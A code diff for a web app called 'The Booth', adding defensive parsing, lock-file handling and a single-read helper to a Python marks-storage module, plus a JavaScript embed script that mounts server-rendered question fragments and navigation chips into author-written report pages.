# Nothing was written and this booth had no marks before: do not
|
||||
# leave a lock file behind as the only trace of a no-op.
|
||||
(self.booth / MARKS_LOCK).unlink(missing_ok=True)
|
||||
# THE LOCK FILE IS NEVER UNLINKED. It used to be, on the no-op path,
|
||||
# so a booth that had never been marked was left exactly as it was
|
||||
# found. That tidiness cost mutual exclusion outright: `flock` binds
|
||||
# to an INODE, so unlinking the lock while a second writer is blocked
|
||||
# on it leaves that writer holding an exclusive lock on a deleted
|
||||
# file, and the NEXT writer creates a fresh lock and takes it at
|
||||
# once. Two processes then run the read-modify-write concurrently,
|
||||
# the later `os.replace` drops the earlier one's mark, and both of
|
||||
# them obeyed the protocol. A zero-byte dotfile is the cheaper
|
||||
# thing to leave behind — `booth_items` skips it, the zip skips it,
|
||||
# and `_newest_mtime` exempts it so it cannot hold a booth open.
|
||||
finally:
|
||||
fcntl.flock(lf, fcntl.LOCK_UN)
|
||||
lf.close()
|
||||
@@ -301,6 +421,25 @@ class _Locked:
|
||||
# ---- read -------------------------------------------------------------------
|
||||
|
||||
|
||||
def _entry_type_error(entry: dict) -> str | None:
|
||||
"""The stored scalars this module refuses to guess at.
|
||||
|
||||
`_clean_text` did `(text or "").replace(...)` and `marks_for` sorts on
|
||||
`(created, id)` — so a stored `text` that is a dict, or a `created` that is a
|
||||
number, raised AttributeError or TypeError out of the READ path. That is not
|
||||
a marks bug, it is an INDEX bug: `list_booths` reads every booth's marks on
|
||||
every page load and `/healthz` does the same, so one hand-edited or
|
||||
foreign-written file took down the front page for every booth on the
|
||||
service. A wrong type is a broken mark, and this module already knows how to
|
||||
render one of those.
|
||||
"""
|
||||
for name in ("created", "by", "text", "error"):
|
||||
value = entry.get(name)
|
||||
if value is not None and not isinstance(value, str):
|
||||
return f"{name} is {type(value).__name__}, not a string"
|
||||
return None
|
||||
|
||||
|
||||
def _hydrate(entry: dict) -> Mark:
|
||||
"""One stored entry -> one Mark, declarations normalized.
|
||||
|
||||
@@ -312,6 +451,15 @@ def _hydrate(entry: dict) -> Mark:
|
||||
"""
|
||||
mid = entry["id"]
|
||||
shape = entry.get("shape") if entry.get("shape") in SHAPES else NOTE
|
||||
bad = _entry_type_error(entry)
|
||||
if bad is not None:
|
||||
# `created` is dropped rather than coerced, which sorts the entry to the
|
||||
# TOP of the booth's marks: a mark nobody can read is the one that wants
|
||||
# looking at, and burying it under 270 items' worth of notes is how it
|
||||
# stays unnoticed. Deterministic, and stated — `("", id)` against
|
||||
# `(created, id)`.
|
||||
return Mark(id=mid, shape=shape, target=None, created="",
|
||||
error=f"unreadable mark: {bad}")
|
||||
target = entry.get("target")
|
||||
if not _valid_target(target):
|
||||
target = None
|
||||
@@ -340,6 +488,40 @@ def _hydrate(entry: dict) -> Mark:
|
||||
norm = normalize_ask(decl, mid)
|
||||
except AskError as exc:
|
||||
return Mark(**base, declaration=decl, answer=answer, error=str(exc))
|
||||
# THE ANSWER'S SHAPE IS VALIDATED HERE, at the ONE boundary every
|
||||
# surface crosses — not at the three render sites that happen to draw
|
||||
# it today, and not defensively in the template, which would hide that
|
||||
# anything is wrong.
|
||||
#
|
||||
# `{"answer": {"answers": [], "notes": ""}}` is well-formed JSON with a
|
||||
# wrong-shaped value. It passed `_entry_type_error`, passed the
|
||||
# `isinstance(answer, dict)` check above, and `marks_for` and
|
||||
# `hold_read` both reported the mark HEALTHY with no read error — and
|
||||
# then `_ask_inline.html` did `a.answer.answers.get(q.key)`, Jinja asked
|
||||
# a LIST for `.get`, and the gallery page and the marks page returned
|
||||
# 500. Measured at 42ea67f, so it predates U3; U3 guarded only its own
|
||||
# surface with `_safe_fragments` and left these two by scope.
|
||||
#
|
||||
# This is the v0.2.2 lesson finished rather than half-done. That outage
|
||||
# was a file that could not be PARSED and the reader was made lenient;
|
||||
# this one parses perfectly and breaks one layer further in, at render,
|
||||
# where no leniency exists. `read_error` was answering a narrower
|
||||
# question than every caller assumed.
|
||||
#
|
||||
# ONLY the multi case is checked, because only the multi case indexes:
|
||||
# a single-question pick's answer IS the record, with no `answers` key
|
||||
# to get wrong. Requiring one unconditionally would break every single
|
||||
# pick, which is the direction a too-eager guard fails in.
|
||||
if norm["multi"] and isinstance(answer, dict) and \
|
||||
not isinstance(answer.get("answers"), dict):
|
||||
return Mark(**base, declaration=decl, answer=None,
|
||||
prompt=norm["prompt"], title=norm["title"],
|
||||
multi=norm["multi"], questions=norm["questions"],
|
||||
options=norm.get("options", []),
|
||||
notes_enabled=norm["notes"], notes_label=norm["notes_label"],
|
||||
error="this pick's answer is stored in a shape the page "
|
||||
"cannot render; the answer was dropped and the "
|
||||
"question is unanswered")
|
||||
return Mark(
|
||||
**base,
|
||||
declaration=decl,
|
||||
@@ -359,11 +541,26 @@ def _hydrate(entry: dict) -> Mark:
|
||||
return Mark(**base, text=_clean_text(entry.get("text")))
|
||||
|
||||
|
||||
def _hydrate_safe(entry: dict) -> Mark:
|
||||
"""`_hydrate`, with the promise that it cannot raise.
|
||||
|
||||
`_entry_type_error` covers the shapes we know how to name; this is the
|
||||
backstop for the ones we do not, and it exists because of WHERE this runs.
|
||||
One unreadable mark must cost that mark, never the page — and on the index
|
||||
it is not even that booth's page, it is all of them.
|
||||
"""
|
||||
try:
|
||||
return _hydrate(entry)
|
||||
except Exception as exc: # noqa: BLE001 - deliberate
|
||||
return Mark(id=str(entry.get("id", "")), shape=NOTE, target=None,
|
||||
created="", error=f"unreadable mark: {exc}")
|
||||
|
||||
|
||||
def marks_for(booth: Path) -> list[Mark]:
|
||||
"""Every mark in a booth, oldest first, declarations normalized and answers
|
||||
folded in. ONE file read — which is the whole point of the storage shape."""
|
||||
entries = _read_raw(booth)
|
||||
marks = [_hydrate(e) for e in entries]
|
||||
marks = [_hydrate_safe(e) for e in entries]
|
||||
# (created, id) rather than created alone: two marks written in the same
|
||||
# second would otherwise order by however json listed them.
|
||||
marks.sort(key=lambda m: (m.created, m.id))
|
||||
@@ -393,6 +590,34 @@ def open_marks(marks: Sequence[Mark]) -> list[Mark]:
|
||||
return [m for m in marks if _is_open(m)]
|
||||
|
||||
|
||||
def hold_read(booth: Path) -> tuple[list[Mark], str | None]:
|
||||
"""ONE read of `.marks.json`, answering both questions the LIFETIME rule asks:
|
||||
what is still open, and whether the file could be read at all.
|
||||
|
||||
U4 decides whether a booth may be SWEPT from those two facts. Asking them
|
||||
with two calls — `marks_for` then `read_error` — reads the file twice, and
|
||||
two reads of one file are not one read of one state: a write or a repair
|
||||
landing between them yields a pair that never described the booth at any
|
||||
instant. The losing pair is `([], None)` — no marks, no error — which is
|
||||
exactly the one that deletes. Cross-frontier review (2026-09-22) found it;
|
||||
that is why this exists rather than the obvious two calls.
|
||||
|
||||
When the file reads clean the marks are byte-identical to `marks_for`'s:
|
||||
`_read_raw_strict` raises rather than dropping an entry, so a non-raising
|
||||
strict read returns the same entries the lenient read would, hydrated and
|
||||
sorted the same way. The caller can therefore use this ONE read for the
|
||||
display too, and fall back to `marks_for` only on the error path, where
|
||||
leniency is the point.
|
||||
"""
|
||||
try:
|
||||
entries = _read_raw_strict(booth, blank_is_corrupt=True)
|
||||
except MarksCorrupt as exc:
|
||||
return [], str(exc)
|
||||
marks = [_hydrate_safe(e) for e in entries]
|
||||
marks.sort(key=lambda m: (m.created, m.id))
|
||||
return marks, None
|
||||
|
||||
|
||||
def marks_for_target(marks: Sequence[Mark], rel: str | None) -> list[Mark]:
|
||||
"""The marks attached to one item, or to the booth itself for None."""
|
||||
return [m for m in marks if m.target == rel]
|
||||
@@ -597,7 +822,8 @@ def import_legacy_asks(booth: Path) -> list[Mark]:
|
||||
continue
|
||||
try:
|
||||
decl = json.loads(p.read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError, UnicodeDecodeError) as exc:
|
||||
except (OSError, ValueError, UnicodeDecodeError,
|
||||
RecursionError, MemoryError) as exc:
|
||||
found.append((mtime, stem, None, f"unreadable ask: {exc}"))
|
||||
continue
|
||||
if not isinstance(decl, dict):
|
||||
@@ -619,7 +845,8 @@ def import_legacy_asks(booth: Path) -> list[Mark]:
|
||||
loaded = json.loads(ap.read_text(encoding="utf-8"))
|
||||
if isinstance(loaded, dict):
|
||||
answer = loaded
|
||||
except (OSError, ValueError, UnicodeDecodeError):
|
||||
except (OSError, ValueError, UnicodeDecodeError,
|
||||
RecursionError, MemoryError):
|
||||
pass
|
||||
|
||||
prior = by_id.get(stem)
|
||||
@@ -642,7 +869,17 @@ def import_legacy_asks(booth: Path) -> list[Mark]:
|
||||
"id": stem,
|
||||
"shape": PICK,
|
||||
"target": None,
|
||||
"created": datetime.fromtimestamp(mtime).astimezone().isoformat(timespec="seconds"),
|
||||
# MICROSECONDS, not seconds. `found` is ordered by fractional
|
||||
# mtime and `marks_for` re-sorts on this string, so truncating
|
||||
# to the whole second threw away the only thing distinguishing
|
||||
# two sidecars written in the same second — and the `(created,
|
||||
# id)` tie-break then silently re-sorted them alphabetically,
|
||||
# reversing the order the importer had just established. The
|
||||
# ROADMAP states this import's order is `(mtime, name)`; an
|
||||
# order that is stated and not kept is worse than one never
|
||||
# claimed.
|
||||
"created": datetime.fromtimestamp(mtime).astimezone().isoformat(
|
||||
timespec="microseconds"),
|
||||
"declaration": decl,
|
||||
"answer": answer,
|
||||
}
|
||||
@@ -653,4 +890,6 @@ def import_legacy_asks(booth: Path) -> list[Mark]:
|
||||
|
||||
# Hydrated AFTER the lock so a broken declaration surfaces as `error` here
|
||||
# exactly as it does on a normal read, rather than through a second path.
|
||||
return [_hydrate(e) for e in created]
|
||||
# `_hydrate_safe`, not `_hydrate`: this is the one path that reads entries
|
||||
# it did not write, and it was the one without the guard.
|
||||
return [_hydrate_safe(e) for e in created]
|
||||
|
||||
@@ -0,0 +1,647 @@
|
||||
/* The Booth - the declared embed seam (U3).
|
||||
*
|
||||
* A booth that ships its own index.html is served verbatim. This script is how
|
||||
* the Booth's chrome gets onto that page WITHOUT the Booth reaching into it:
|
||||
* the report carries one line,
|
||||
*
|
||||
* <script src="/_booth/embed.js" defer></script>
|
||||
*
|
||||
* and everything below mounts through real DOM APIs. It replaced ten regular
|
||||
* expressions applied to author HTML - six hunting for a place to hang a
|
||||
* favicon and a chip, four substituting rendered markup into the author's own
|
||||
* tags. A page that declares this line is now served exactly as written.
|
||||
*
|
||||
* WHAT THIS SCRIPT DOES NOT DECIDE: what a mark says, whether it is still open,
|
||||
* or what order marks come in. Every fragment below is rendered server-side by
|
||||
* the same Jinja macros the gallery page uses, and `open` is computed by
|
||||
* `open_marks`. Two renderers of one truth is the bug INV-1 exists to stop -
|
||||
* the zoom view once re-derived an item and lost its captions doing it.
|
||||
*
|
||||
* Served from a read taken ONCE at app startup. Editing this file does nothing
|
||||
* until `systemctl --user restart booth.service`, exactly like the templates,
|
||||
* and for the same reason: on 2026-09-21 a hot-reloading template put 19 of 25
|
||||
* booths at 500 against Python that had never heard of the context it wanted.
|
||||
*/
|
||||
(function () {
|
||||
"use strict";
|
||||
if (window.__boothEmbed) return; // declared AND appended: mount once
|
||||
window.__boothEmbed = true;
|
||||
|
||||
/* The ask palette's LIGHT values, written once and used by both light rules
|
||||
below (OS light, and forced light), so the two can never drift apart. */
|
||||
var BK_LIGHT = "--bk-accent:#586519;--bk-accent-line:rgba(88,101,25,.55);" +
|
||||
"--bk-accent-soft:rgba(88,101,25,.11);--bk-on-accent:#fff;--bk-open:#7c5500;--bk-open-text:#7c5500;" +
|
||||
"--bk-done:#486741;--bk-done-text:#486741;--bk-skip:#52595e;--bk-err:#a42e07";
|
||||
|
||||
var CSS = [
|
||||
/* SVOS values, written as literals: this sheet lands in a page we did not
|
||||
write, so it can lean on none of base.html's tokens. Hex equivalents of
|
||||
the SVOS semantic tokens (design-systems palettes/svos @ ed2f8d8). */
|
||||
/* ---- the way home, and the open-asks jump ---- */
|
||||
".booth-nav-home,.booth-nav-asks{position:fixed;top:0;z-index:2147483647;",
|
||||
"display:inline-block;margin:.6rem;padding:.38rem .75rem;border-radius:8px;",
|
||||
"text-decoration:none;letter-spacing:.01em;box-shadow:0 4px 14px rgba(0,0,0,.4)}",
|
||||
/* top-right: a top-left chip clips the page title on left-aligned report
|
||||
layouts, and this matches the zoom view's back affordance. */
|
||||
".booth-nav-home{right:0;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#dce3e5;background:rgba(12,16,20,.86);border:1px solid rgba(255,255,255,.16);",
|
||||
"-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);transition:background .12s,border-color .12s}",
|
||||
".booth-nav-home:hover{background:rgba(31,35,40,.96);border-color:rgba(255,255,255,.34)}",
|
||||
/* as S5a: our own focus rings, so a host page's `outline:none` cannot take
|
||||
them. The chips sit on any host: a white ring inside a dark halo reads on both. */
|
||||
".booth-nav-home:focus-visible,.booth-nav-asks:focus-visible{outline:2px solid #fff;outline-offset:1px;box-shadow:0 0 0 4px #15191d}",
|
||||
/* amber = needs you: the one chip that asks to be clicked */
|
||||
".booth-nav-asks{right:7.4rem;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"color:#15191d;background:#fbc10f;border:1px solid #fbc10f;transition:filter .12s}",
|
||||
".booth-nav-asks:hover{filter:brightness(1.06)}",
|
||||
"@media print{.booth-nav-home,.booth-nav-asks{display:none}}",
|
||||
/* ---- ask fragments. Self-contained: the host page carries its own CSS and
|
||||
nothing here may inherit from it. The palette is a set of custom
|
||||
properties SCOPED TO .bk-ask, flipped by prefers-color-scheme — so each
|
||||
rule below is written once and a host page cannot reach the values
|
||||
without targeting our own class. Neutrals stay translucent so the
|
||||
fragment sits on a light or a dark host alike. ---- */
|
||||
".bk-ask{--bk-accent:#b2cd12;--bk-accent-line:rgba(178,205,18,.55);--bk-accent-soft:rgba(178,205,18,.12);",
|
||||
"--bk-on-accent:#0c1014;--bk-open:#d29a02;--bk-open-text:#fbc10f;--bk-done:#71a166;--bk-done-text:#9bce90;",
|
||||
"--bk-skip:#868d91;--bk-err:#fea47d}",
|
||||
/* r2b D3 — the operator's theme reaches inside ("theme toggle reaches
|
||||
inside"): light when the OS asks and dark is not forced, or when light
|
||||
is forced — the Booth sheet's own rule, carried by `data-bk-theme` on
|
||||
each fragment (bkTheme, below), never by the host page's <html>. */
|
||||
"@media (prefers-color-scheme: light){.bk-ask:not([data-bk-theme=dark]){" + BK_LIGHT + "}}",
|
||||
".bk-ask[data-bk-theme=light]{" + BK_LIGHT + "}",
|
||||
".bk-ask{margin:1.1rem 0;padding:.9rem 1rem;border:1px solid rgba(128,140,160,.34);",
|
||||
"border-top:2px solid var(--bk-open);border-radius:8px;background:rgba(128,140,160,.07);",
|
||||
"font:15px/1.55 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif}",
|
||||
".bk-ask.bk-done{border-top-color:var(--bk-done)}",
|
||||
".bk-ask.bk-skip{border-top-color:var(--bk-skip)}",
|
||||
".bk-ask-tag{display:inline-block;margin-bottom:.6rem;padding:2px 7px;border:1.5px solid currentColor;border-radius:3px;",
|
||||
"font:600 11px/1.3 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase;color:var(--bk-open-text)}",
|
||||
".bk-ask.bk-done .bk-ask-tag{color:var(--bk-done-text)}",
|
||||
".bk-ask.bk-skip .bk-ask-tag{color:var(--bk-skip)}",
|
||||
".bk-ask-title{margin:0 0 .15rem;font:500 11px/1.4 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
|
||||
"letter-spacing:.12em;text-transform:uppercase}",
|
||||
".bk-ask-prompt{margin:0 0 .6rem;font-weight:600}",
|
||||
".bk-ask-opts{display:flex;flex-direction:column;gap:.35rem}",
|
||||
".bk-ask-opt{display:flex;align-items:flex-start;gap:.6rem;padding:.55rem .7rem;cursor:pointer;",
|
||||
"border:1px solid rgba(128,140,160,.3);border-radius:8px;background:rgba(128,140,160,.06)}",
|
||||
".bk-ask-opt:hover{border-color:rgba(128,140,160,.62)}",
|
||||
".bk-ask-opt:has(input:checked){border-color:var(--bk-accent-line);background:var(--bk-accent-soft)}",
|
||||
".bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:var(--bk-accent)}",
|
||||
".bk-ask-lab{display:flex;flex-direction:column;gap:.1rem;min-width:0}",
|
||||
/* as S2: nothing here fades. Details inherit the HOST's text colour at full
|
||||
strength, so they carry the host's contrast whatever the host is; the
|
||||
smaller size is the de-emphasis. */
|
||||
".bk-ask-det{font-size:.82rem}",
|
||||
".bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .65rem;",
|
||||
"font:inherit;font-size:.9rem;color:inherit;background:rgba(128,140,160,.09);",
|
||||
"border:1px solid rgba(128,140,160,.34);border-radius:8px;resize:vertical}",
|
||||
".bk-ask-notes:focus{outline:2px solid var(--bk-accent);outline-offset:1px}",
|
||||
/* the host's colour at 75%, not the browser's grey (3.5-4.3:1 on a dark host) */
|
||||
".bk-ask-notes::placeholder{color:inherit;opacity:.75}",
|
||||
/* the primary — green, because submitting is what arms the answer */
|
||||
".bk-ask-go{margin-top:.75rem;cursor:pointer;font:600 13px/1 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
|
||||
"padding:.7rem 1.1rem;border-radius:8px;border:1px solid var(--bk-accent);",
|
||||
"background:var(--bk-accent);color:var(--bk-on-accent)}",
|
||||
".bk-ask-go:hover{filter:brightness(1.06)}",
|
||||
".bk-ask-go:focus-visible{outline:2px solid var(--bk-accent);outline-offset:2px}",
|
||||
".bk-ask-opt:has(input:focus-visible){outline:2px solid var(--bk-accent);outline-offset:1px}",
|
||||
".bk-ask-was{margin:.15rem 0 .55rem;font-size:.86rem}",
|
||||
".bk-ask-err{color:var(--bk-err);font-size:.86rem}",
|
||||
/* [hidden] restated at class specificity: a host rule as plain as
|
||||
`p{display:block}` outranks the UA's own [hidden] and would show it. */
|
||||
".bk-ask-status{margin:.6rem 0 0;font-size:.86rem;color:var(--bk-err)}",
|
||||
".bk-ask-status[hidden]{display:none}",
|
||||
"@media print{.bk-ask{break-inside:avoid}}"
|
||||
].join("");
|
||||
|
||||
/* The anchor attributes. `data-booth-mark` is canonical - U2 made an ask one
|
||||
shape of mark - and `data-booth-ask` is kept because two of the four live
|
||||
verbatim booths spell it that way, in the operator's own reports. */
|
||||
var MAIN_SEL = "[data-booth-mark],[data-booth-ask]";
|
||||
var SUBMIT_SEL = "[data-booth-mark-submit],[data-booth-ask-submit]";
|
||||
var WHOLE = " whole"; // the set member meaning "the whole ask landed here"
|
||||
|
||||
function attr(el, a, b) {
|
||||
var v = el.getAttribute(a);
|
||||
return v === null ? el.getAttribute(b) : v;
|
||||
}
|
||||
|
||||
/* "batch:r1" -> ["batch", "r1"]; "batch" -> ["batch", null]. Split on the
|
||||
FIRST colon: a question key cannot contain one (asks._KEY_RE) and neither
|
||||
can a pick id (asks.valid_stem), so this is unambiguous for everything the
|
||||
payload carries. A flag's id IS `flag:<target>`, which is why the payload
|
||||
carries picks only. */
|
||||
function splitSpec(spec) {
|
||||
var s = (spec || "").trim();
|
||||
var i = s.indexOf(":");
|
||||
if (i < 0) return [s, null];
|
||||
return [s.slice(0, i).trim(), s.slice(i + 1).trim() || null];
|
||||
}
|
||||
|
||||
function boothName() {
|
||||
var tag = document.querySelector("script[data-booth]");
|
||||
if (tag) return tag.getAttribute("data-booth");
|
||||
var parts = location.pathname.split("/"); // ["", "b", "<name>", ...]
|
||||
if (parts.length < 3 || parts[1] !== "b" || !parts[2]) return null;
|
||||
try { return decodeURIComponent(parts[2]); } catch (e) { return parts[2]; }
|
||||
}
|
||||
|
||||
function mount(el, html) {
|
||||
/* beforeend, NOT replaceWith: the author's element and its contents survive
|
||||
and the fragment lands inside it. `<div class="ask" data-booth-ask="...">
|
||||
<h3>heading</h3>` is live markup today, and the regex it replaced ate
|
||||
both the wrapper class and the heading's framing.
|
||||
|
||||
Returns the elements it actually inserted. The chip needs to jump to a
|
||||
fragment WE mounted, not to whatever the document happens to have with a
|
||||
matching id — see chipTarget. */
|
||||
var before = el.children.length;
|
||||
el.insertAdjacentHTML("beforeend", html);
|
||||
return Array.prototype.slice.call(el.children, before);
|
||||
}
|
||||
|
||||
function styles() {
|
||||
if (document.getElementById("booth-embed-css")) return;
|
||||
var st = document.createElement("style");
|
||||
st.id = "booth-embed-css";
|
||||
st.textContent = CSS;
|
||||
(document.head || document.documentElement).appendChild(st);
|
||||
}
|
||||
|
||||
function favicon(href) {
|
||||
/* The question `_ICON_RE` and its three head-seam siblings were asking of
|
||||
raw text. Same question, asked of a parsed document. */
|
||||
if (!href || document.querySelector('link[rel~="icon"]')) return;
|
||||
var link = document.createElement("link");
|
||||
link.rel = "icon";
|
||||
link.href = href;
|
||||
(document.head || document.documentElement).appendChild(link);
|
||||
}
|
||||
|
||||
function homeChip(href) {
|
||||
var a = document.createElement("a");
|
||||
a.className = "booth-nav-home";
|
||||
a.href = href || "/";
|
||||
a.setAttribute("aria-label", "back to all booths");
|
||||
a.textContent = "‹ all booths";
|
||||
document.body.appendChild(a);
|
||||
}
|
||||
|
||||
function chipTarget(mounted, markId) {
|
||||
/* The earliest IN DOCUMENT ORDER of the elements WE mounted for this mark.
|
||||
Not an id-prefix search over the whole document: a panel pointed out that
|
||||
an author's own `<section id="bk-ask-winner-background">` satisfies any
|
||||
prefix rule — hyphen boundary included — and would hijack the jump. Only
|
||||
elements this script inserted are candidates, which is the identity the
|
||||
deleted `bk-ask-<id>-top` anchor used to guarantee. */
|
||||
var mine = mounted[markId] || [];
|
||||
var first = null;
|
||||
for (var i = 0; i < mine.length; i++) {
|
||||
var el = mine[i];
|
||||
if (!el.id || !document.contains(el)) continue;
|
||||
if (first === null ||
|
||||
(first.compareDocumentPosition(el) & Node.DOCUMENT_POSITION_PRECEDING)) {
|
||||
first = el;
|
||||
}
|
||||
}
|
||||
return first;
|
||||
}
|
||||
|
||||
function asksChip(openIds, mounted) {
|
||||
if (!openIds.length) return;
|
||||
/* A JUMP LINK, not a way out to another page: on a long report the question
|
||||
can be well below the fold and "there is a question waiting" still has to
|
||||
be visible at first paint. */
|
||||
var first = chipTarget(mounted, openIds[0]);
|
||||
var a = document.createElement("a");
|
||||
a.className = "booth-nav-asks";
|
||||
a.href = first ? "#" + first.id : "/b/" + encodeURIComponent(boothName() || "") + "/marks";
|
||||
a.textContent = "? " + openIds.length + " open ask" + (openIds.length === 1 ? "" : "s");
|
||||
document.body.appendChild(a);
|
||||
}
|
||||
|
||||
function reassociate() {
|
||||
/* SCOPED TO OUR OWN FRAGMENTS (`.bk-ask [form]`), deliberately: the Booth
|
||||
does not rewrite attributes on elements the author wrote, even to help.
|
||||
A control bound to its <form> by the HTML5 `form=` attribute resolves its
|
||||
form owner when it is inserted. The fragments go in in VISUAL order, so a
|
||||
question can land before the submit block that carries the <form>.
|
||||
Chromium 151 re-resolves this correctly - measured 2026-09-22, N=3 per
|
||||
condition, with a form-first positive control and a points-at-nothing
|
||||
negative control. The sensitivity floor of that probe is ONE ENGINE, and
|
||||
the failure it would hide is a form the operator fills in whose controls
|
||||
reach no form at all, so the button does nothing and nothing is saved.
|
||||
Three lines, so the engine stops mattering. */
|
||||
var bound = document.querySelectorAll(".bk-ask [form]");
|
||||
for (var i = 0; i < bound.length; i++) {
|
||||
var v = bound[i].getAttribute("form");
|
||||
bound[i].removeAttribute("form");
|
||||
bound[i].setAttribute("form", v);
|
||||
}
|
||||
}
|
||||
|
||||
function hasForm(markId) {
|
||||
/* `form_id` in booth/app.py builds the same string. Kept in step by the
|
||||
fragments themselves: the submit macro emits exactly this id. */
|
||||
return !!document.getElementById(
|
||||
"bk-ask-form-" + markId.replace(/[^A-Za-z0-9_-]/g, "-"));
|
||||
}
|
||||
|
||||
function place(marks) {
|
||||
/* Object.create(null), NOT {} — three times, and it is not style.
|
||||
A mark id and a question key are both `[A-Za-z0-9][A-Za-z0-9._-]*`
|
||||
(asks.valid_stem, asks._KEY_RE), so `toString` and `constructor` are
|
||||
legal in both. Against a plain object, an author writing
|
||||
`data-booth-mark="toString"` — an anchor naming NO mark — gets
|
||||
Object.prototype.toString back, passes the `if (!mark)` guard it was
|
||||
supposed to fail, and throws on `mark.questions.length`. That aborts
|
||||
`place` before the tail, so the page loses EVERY ask, from one typo in
|
||||
the author's own markup. The `placed` set has the mirror bug: inherited
|
||||
`got.constructor` reads as "already placed" and silently drops a real
|
||||
question. Found by a cross-frontier code-review panel. */
|
||||
var by = Object.create(null);
|
||||
for (var i = 0; i < marks.length; i++) by[marks[i].id] = marks[i];
|
||||
var placed = Object.create(null); // id -> {key or WHOLE: true}
|
||||
var submitted = Object.create(null);
|
||||
var mounted = Object.create(null); // id -> [elements this script inserted]
|
||||
|
||||
function note(id, key) {
|
||||
if (!placed[id]) placed[id] = Object.create(null);
|
||||
if (key !== undefined) placed[id][key] = true;
|
||||
}
|
||||
|
||||
function record(id, els) {
|
||||
if (!mounted[id]) mounted[id] = [];
|
||||
for (var n = 0; n < els.length; n++) mounted[id].push(els[n]);
|
||||
}
|
||||
|
||||
// 1. whole / per-question anchors, in DOCUMENT ORDER.
|
||||
var anchors = document.querySelectorAll(MAIN_SEL);
|
||||
for (var a = 0; a < anchors.length; a++) {
|
||||
var el = anchors[a];
|
||||
var spec = splitSpec(attr(el, "data-booth-mark", "data-booth-ask"));
|
||||
var mark = by[spec[0]];
|
||||
if (!mark) continue; // a typo'd id is LEFT ALONE, not blanked
|
||||
if (spec[1] === null) {
|
||||
record(mark.id, mount(el, mark.whole));
|
||||
note(mark.id, WHOLE);
|
||||
if (hasForm(mark.id)) submitted[mark.id] = true;
|
||||
continue;
|
||||
}
|
||||
var q = null;
|
||||
for (var k = 0; k < mark.questions.length; k++) {
|
||||
if (mark.questions[k].key === spec[1]) { q = mark.questions[k]; break; }
|
||||
}
|
||||
if (!q) continue; // names no question: also left alone
|
||||
record(mark.id, mount(el, q.html));
|
||||
note(mark.id, spec[1]);
|
||||
}
|
||||
|
||||
// 2. explicit submit anchors.
|
||||
var subs = document.querySelectorAll(SUBMIT_SEL);
|
||||
for (var s = 0; s < subs.length; s++) {
|
||||
var sel = subs[s];
|
||||
var sid = splitSpec(attr(sel, "data-booth-mark-submit", "data-booth-ask-submit"))[0];
|
||||
var sm = by[sid];
|
||||
if (!sm) continue;
|
||||
/* A BROKEN pick has no submit block — its `submit` is the empty string and
|
||||
its diagnostic lives in `whole`. Mounting nothing here and then marking
|
||||
it placed made the tail skip it, so the "broken ask" box never rendered
|
||||
at the one surface built to show it. Leave the anchor alone, exactly as
|
||||
an anchor naming no mark is left alone, and let the tail mount the
|
||||
diagnostic. */
|
||||
if (sm.error) continue;
|
||||
record(sm.id, mount(sel, sm.submit));
|
||||
note(sm.id);
|
||||
/* ...and only count it submitted if the <form> SURVIVED. An author who
|
||||
puts this anchor inside their own <form> loses ours: the HTML parser
|
||||
drops a nested form element outright. Every control's `form=` would
|
||||
then point at nothing, the tail would not add a fallback because we
|
||||
said it was handled, and the operator would fill the whole thing in and
|
||||
click a button that does nothing. */
|
||||
if (hasForm(sm.id)) submitted[sm.id] = true;
|
||||
}
|
||||
|
||||
// 3. the tail, in PAYLOAD order - `(created, id)`. An ask is never
|
||||
// invisible: an unmarked page gets the whole thing, and a partially
|
||||
// marked one gets every question the author did not place, because a
|
||||
// question the operator cannot see is a question he cannot answer, and
|
||||
// a submission with NOTHING picked is refused outright (400), so a page
|
||||
// showing two of four questions can strand a pick that looks answerable.
|
||||
// (A PARTIAL answer is accepted and recorded — that is deliberate.)
|
||||
var holder = document.createElement("div");
|
||||
for (var m = 0; m < marks.length; m++) {
|
||||
var mk = marks[m];
|
||||
var got = placed[mk.id];
|
||||
var was = holder.children.length;
|
||||
if (!got) {
|
||||
holder.insertAdjacentHTML("beforeend", mk.whole);
|
||||
record(mk.id, Array.prototype.slice.call(holder.children, was));
|
||||
continue;
|
||||
}
|
||||
if (mk.error) continue;
|
||||
if (!got[WHOLE]) {
|
||||
for (var q2 = 0; q2 < mk.questions.length; q2++) {
|
||||
var qq = mk.questions[q2];
|
||||
if (!got[qq.key]) holder.insertAdjacentHTML("beforeend", qq.html);
|
||||
}
|
||||
}
|
||||
if (!submitted[mk.id]) holder.insertAdjacentHTML("beforeend", mk.submit);
|
||||
record(mk.id, Array.prototype.slice.call(holder.children, was));
|
||||
}
|
||||
var tail = document.createDocumentFragment();
|
||||
while (holder.firstChild) tail.appendChild(holder.firstChild);
|
||||
document.body.appendChild(tail);
|
||||
return mounted;
|
||||
}
|
||||
|
||||
/* r2b D3: mark every fragment WE mounted with the operator's stored theme
|
||||
choice (the same localStorage key the Booth's toggle writes — same
|
||||
origin). Absent or unreadable = follow the OS, as before. The host page's
|
||||
own <html> is the author's and is never touched. */
|
||||
var ours = []; // every element this script mounted
|
||||
function bkTheme() {
|
||||
var t = null;
|
||||
try { t = localStorage.getItem("booth.theme"); } catch (e) {}
|
||||
var forced = t === "light" || t === "dark";
|
||||
/* OUR fragments only (heid bug-hunt): an author's own `.bk-ask` in the
|
||||
host page is theirs, and is never marked. */
|
||||
ours.forEach(function (root) {
|
||||
var els = [root].concat(Array.prototype.slice.call(root.querySelectorAll(".bk-ask")));
|
||||
els.forEach(function (el) {
|
||||
if (!el.classList.contains("bk-ask")) return;
|
||||
if (forced) el.setAttribute("data-bk-theme", t); else el.removeAttribute("data-bk-theme");
|
||||
});
|
||||
});
|
||||
}
|
||||
